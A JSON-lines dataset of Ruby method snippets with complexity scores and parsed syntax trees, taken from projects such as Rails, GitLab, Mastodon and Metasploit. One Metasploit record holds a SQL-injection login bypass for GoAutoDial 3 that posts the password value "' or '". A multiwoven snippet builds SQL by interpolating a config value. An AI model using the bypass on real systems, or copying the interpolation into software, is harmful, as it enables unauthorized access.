end","complexity_score":29.53,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"point_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@preloaded\"]},null,{\"type\":\"send\",\"children\":[null,\"preload_reference_data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_point_data?\",{\"type\":\"lvar\",\"children\":[\"point_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prepared_attributes\",{\"type\":\"send\",\"children\":[null,\"prepare_point_attributes\",{\"type\":\"lvar\",\"children\":[\"point_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prepared_attributes\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"prepared_attributes\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@processed_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer\"]},\"size\"]},\">=\",{\"type\":\"send\",\"children\":[null,\"batch_size\"]}]},{\"type\":\"send\",\"children\":[null,\"flush_batch\"]},null]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@skipped_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@skipped_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Skipped point: invalid data - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point_data\"]},\"inspect\"]}]}]}]}]}]}]}]}","id":"d8497042-8af9-499b-b9e0-327fa9d6533b"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/naming_test.rb","start_line":271,"raw_source":"def test_uncountable\n    assert uncountable?(@uncountable), \"Expected 'sheep' to be uncountable\"\n    assert_not uncountable?(@klass), \"Expected 'contact' to be countable\"\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_uncountable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[null,\"uncountable?\",{\"type\":\"ivar\",\"children\":[\"@uncountable\"]}]},{\"type\":\"str\",\"children\":[\"Expected 'sheep' to be uncountable\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[null,\"uncountable?\",{\"type\":\"ivar\",\"children\":[\"@klass\"]}]},{\"type\":\"str\",\"children\":[\"Expected 'contact' to be countable\"]}]}]}]}","id":"c2fe5cf5-ef9d-4589-8ab1-e643eb354381"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/fork_service.rb","start_line":114,"raw_source":"def allowed_fork?\n      current_user.can?(:fork_project, @project)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_fork?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"fork_project\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}","id":"15afcd6d-276e-4cd3-8ac8-3657b7267d94"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/serializers/api/photo_serializer.rb","start_line":65,"raw_source":"def orientation\n    case source\n    when 'immich'\n      photo.dig('exifInfo', 'orientation') == '6' ? 'portrait' : 'landscape'\n    when 'photoprism'\n      photo['Portrait'] ? 'portrait' : 'landscape'\n    else\n      'landscape' # default orientation for nil or unknown source\n    end\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"orientation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"immich\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"photo\"]},\"dig\",{\"type\":\"str\",\"children\":[\"exifInfo\"]},{\"type\":\"str\",\"children\":[\"orientation\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"6\"]}]},{\"type\":\"str\",\"children\":[\"portrait\"]},{\"type\":\"str\",\"children\":[\"landscape\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"photoprism\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"photo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Portrait\"]}]},{\"type\":\"str\",\"children\":[\"portrait\"]},{\"type\":\"str\",\"children\":[\"landscape\"]}]}]},{\"type\":\"str\",\"children\":[\"landscape\"]}]}]}","id":"0edbca7a-0db5-4b4d-bf5b-0e46942a29a9"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/aws_athena/client.rb","start_line":16,"raw_source":"def discover(connection_config)\n        connection_config = connection_config.with_indifferent_access\n        query = \"SELECT table_name, column_name, data_type, is_nullable FROM information_schema.columns WHERE table_schema = '#{connection_config[:schema]}' ORDER BY table_name, ordinal_position;\"\n        db = create_connection(connection_config)\n        results = query_execution(db, query)\n        catalog = Catalog.new(streams: create_streams(results))\n        catalog.to_multiwoven_message\n      rescue StandardError => e\n        handle_exception(e, {\n                           context: \"AWS:ATHENA:DISCOVER:EXCEPTION\",\n                           type: \"error\"\n                         })\n      end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"discover\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_config\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"with_indifferent_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT table_name, column_name, data_type, is_nullable FROM information_schema.columns WHERE table_schema = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"schema\"]}]}]},{\"type\":\"str\",\"children\":[\"' ORDER BY table_name, ordinal_position;\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"db\",{\"type\":\"send\",\"children\":[null,\"create_connection\",{\"type\":\"lvar\",\"children\":[\"connection_config\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[null,\"query_execution\",{\"type\":\"lvar\",\"children\":[\"db\"]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"catalog\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Catalog\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"streams\"]},{\"type\":\"send\",\"children\":[null,\"create_streams\",{\"type\":\"lvar\",\"children\":[\"results\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"catalog\"]},\"to_multiwoven_message\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"str\",\"children\":[\"AWS:ATHENA:DISCOVER:EXCEPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"error\"]}]}]}]}]},null]}]}","id":"8033dd2e-e13c-4722-96a1-4af7a9e80b5f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/callbacks_test.rb","start_line":124,"raw_source":"def test_has_and_belongs_to_many_before_add_called_before_save\n    dev     = nil\n    new_dev = nil\n    klass = Class.new(Project) do\n      def self.name; Project.name; end\n      has_and_belongs_to_many :developers_with_callbacks,\n                                class_name: \"Developer\",\n                                before_add: lambda { |o, r|\n        dev     = r\n        new_dev = r.new_record?\n      }\n    end\n    rec = klass.create!\n    alice = Developer.new(name: \"alice\")\n    rec.developers_with_callbacks << alice\n    assert_equal alice, dev\n    assert_not_nil new_dev\n    assert new_dev, \"record should not have been saved\"\n    assert_not_predicate alice, :new_record?\n  end","complexity_score":24.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_and_belongs_to_many_before_add_called_before_save\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dev\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"new_dev\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"has_and_belongs_to_many\",{\"type\":\"sym\",\"children\":[\"developers_with_callbacks\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"str\",\"children\":[\"Developer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"before_add\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]},{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dev\",{\"type\":\"lvar\",\"children\":[\"r\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_dev\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"new_record?\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rec\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"create!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"alice\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"alice\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"developers_with_callbacks\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"alice\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"alice\"]},{\"type\":\"lvar\",\"children\":[\"dev\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"lvar\",\"children\":[\"new_dev\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"lvar\",\"children\":[\"new_dev\"]},{\"type\":\"str\",\"children\":[\"record should not have been saved\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"alice\"]},{\"type\":\"sym\",\"children\":[\"new_record?\"]}]}]}]}","id":"e0743c75-e518-4bb3-9033-b38fc8a4c882"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/cli/maintenance.rb","start_line":504,"raw_source":"def deduplicate_unavailable_domains!\n      return unless db_table_exists?(:unavailable_domains)\n\n      remove_index_if_exists!(:unavailable_domains, 'index_unavailable_domains_on_domain')\n\n      say 'Deduplicating unavailable_domains…'\n      duplicate_record_ids(:unavailable_domains, 'domain').each do |row|\n        UnavailableDomain.where(id: row['ids'].split(',')).order(id: :desc).to_a.drop(1).each(&:destroy)\n      end\n\n      say 'Restoring unavailable_domains indexes…'\n      database_connection.add_index :unavailable_domains, ['domain'], name: 'index_unavailable_domains_on_domain', unique: true\n    end","complexity_score":23.98,"ast_json":"{\"type\":\"def\",\"children\":[\"deduplicate_unavailable_domains!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_table_exists?\",{\"type\":\"sym\",\"children\":[\"unavailable_domains\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"remove_index_if_exists!\",{\"type\":\"sym\",\"children\":[\"unavailable_domains\"]},{\"type\":\"str\",\"children\":[\"index_unavailable_domains_on_domain\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Deduplicating unavailable_domains…\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"duplicate_record_ids\",{\"type\":\"sym\",\"children\":[\"unavailable_domains\"]},{\"type\":\"str\",\"children\":[\"domain\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnavailableDomain\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ids\"]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"to_a\"]},\"drop\",{\"type\":\"int\",\"children\":[1]}]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Restoring unavailable_domains indexes…\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"database_connection\"]},\"add_index\",{\"type\":\"sym\",\"children\":[\"unavailable_domains\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"domain\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_unavailable_domains_on_domain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"00cb2f24-5d8f-4cf5-9c19-e67cc9955ef8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/activities/work_package_activity_provider.rb","start_line":35,"raw_source":"def extend_event_query(query)\n    query.join(types_table).on(activity_journals_table[:type_id].eq(types_table[:id]))\n    query.join(statuses_table).on(activity_journals_table[:status_id].eq(statuses_table[:id]))\n  end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"extend_event_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"types_table\"]}]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activity_journals_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type_id\"]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"types_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"statuses_table\"]}]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activity_journals_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status_id\"]}]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"statuses_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"ecea1ef4-ab9a-4c91-b104-308dd00e1f24"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/krb_cred.rb","start_line":35,"raw_source":"def decode(input)\n            case input\n            when String\n              decode_string(input)\n            when OpenSSL::ASN1::Sequence\n              decode_asn1(input)\n            else\n              raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode KrbCred, invalid input'\n            end\n\n            self\n          end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"decode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[null,\"decode_string\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"Sequence\"]},{\"type\":\"send\",\"children\":[null,\"decode_asn1\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"Error\"]},\"KerberosDecodingError\"]},{\"type\":\"str\",\"children\":[\"Failed to decode KrbCred, invalid input\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"a63a502c-e761-4420-95f7-5faa29f0b5e2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/status/reason.rb","start_line":10,"raw_source":"def initialize(build, failure_reason, exit_code = nil)\n            @build = build\n            @failure_reason = failure_reason\n            @exit_code = exit_code\n          end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"build\"]},{\"type\":\"arg\",\"children\":[\"failure_reason\"]},{\"type\":\"optarg\",\"children\":[\"exit_code\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@build\",{\"type\":\"lvar\",\"children\":[\"build\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@failure_reason\",{\"type\":\"lvar\",\"children\":[\"failure_reason\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@exit_code\",{\"type\":\"lvar\",\"children\":[\"exit_code\"]}]}]}]}","id":"50deffec-c86a-42e1-9e43-cf4bc6de638e"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/dsl.rb","start_line":483,"raw_source":"def log_requests(which=true)\n      @options[:log_requests] = which\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_requests\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"which\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"log_requests\"]},{\"type\":\"lvar\",\"children\":[\"which\"]}]}]}","id":"c5402c71-c814-4fa7-98e3-5b7dfd625e13"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/cache/redis_cache_store.rb","start_line":442,"raw_source":"def serialize_entry(entry, raw: false, **options)\n          if raw\n            entry.value.to_s\n          else\n            super(entry, raw: raw, **options)\n          end\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"serialize_entry\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]},{\"type\":\"kwoptarg\",\"children\":[\"raw\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"value\"]},\"to_s\"]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"lvar\",\"children\":[\"raw\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"78f95635-cf5e-4a9d-ba9b-0048e25c640d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/dns/server.rb","start_line":233,"raw_source":"def on_client_data(cli)\n    begin\n      data = cli.read(65535)\n\n      raise ::EOFError if not data\n      raise ::EOFError if data.empty?\n      dispatch_request(cli, data)\n    rescue EOFError => e\n      self.tcp_socket.close_client(cli) if cli\n      raise e\n    end\n  end","complexity_score":18.25,"ast_json":"{\"type\":\"def\",\"children\":[\"on_client_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"read\",{\"type\":\"int\",\"children\":[65535]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"EOFError\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"EOFError\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"dispatch_request\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EOFError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tcp_socket\"]},\"close_client\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}]}","id":"4fb31449-30bd-400c-bafe-94eaefc41dc4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/goautodial_3_rce_command_injection.rb","start_line":89,"raw_source":"def sqli_auth_bypass\n    uri = target_uri.path\n\n    send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(uri, 'index.php', 'go_login', 'validate_credentials'),\n      'headers' => {\n        'User-Agent' => 'Mozilla/5.0',\n        'Accept-Encoding' => 'identity'\n      },\n      'vars_post' => {\n        'user_name' => 'admin',\n        'user_pass' => \"' or '\"\n      }\n    })\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"sqli_auth_bypass\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"index.php\"]},{\"type\":\"str\",\"children\":[\"go_login\"]},{\"type\":\"str\",\"children\":[\"validate_credentials\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"User-Agent\"]},{\"type\":\"str\",\"children\":[\"Mozilla/5.0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept-Encoding\"]},{\"type\":\"str\",\"children\":[\"identity\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user_name\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user_pass\"]},{\"type\":\"str\",\"children\":[\"' or '\"]}]}]}]}]}]}]}]}","id":"224b3d66-cbda-46e1-b63c-56e8d6a9c1bf"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/pending_migrations_test.rb","start_line":107,"raw_source":"def assert_no_pending_migrations\n            app = Minitest::Mock.new\n            check_pending = CheckPending.new(app)\n\n            2.times do\n              assert_nothing_raised do\n                ActiveRecord::Migration.check_all_pending!\n              end\n\n              app.expect :call, nil, [{}]\n              check_pending.call({})\n              app.verify\n            end\n          end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_no_pending_migrations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"app\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"Mock\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"check_pending\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckPending\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"app\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"check_all_pending!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"expect\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check_pending\"]},\"call\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"verify\"]}]}]}]}]}","id":"d18c246a-1084-4a3f-b311-73a75401f2b8"}
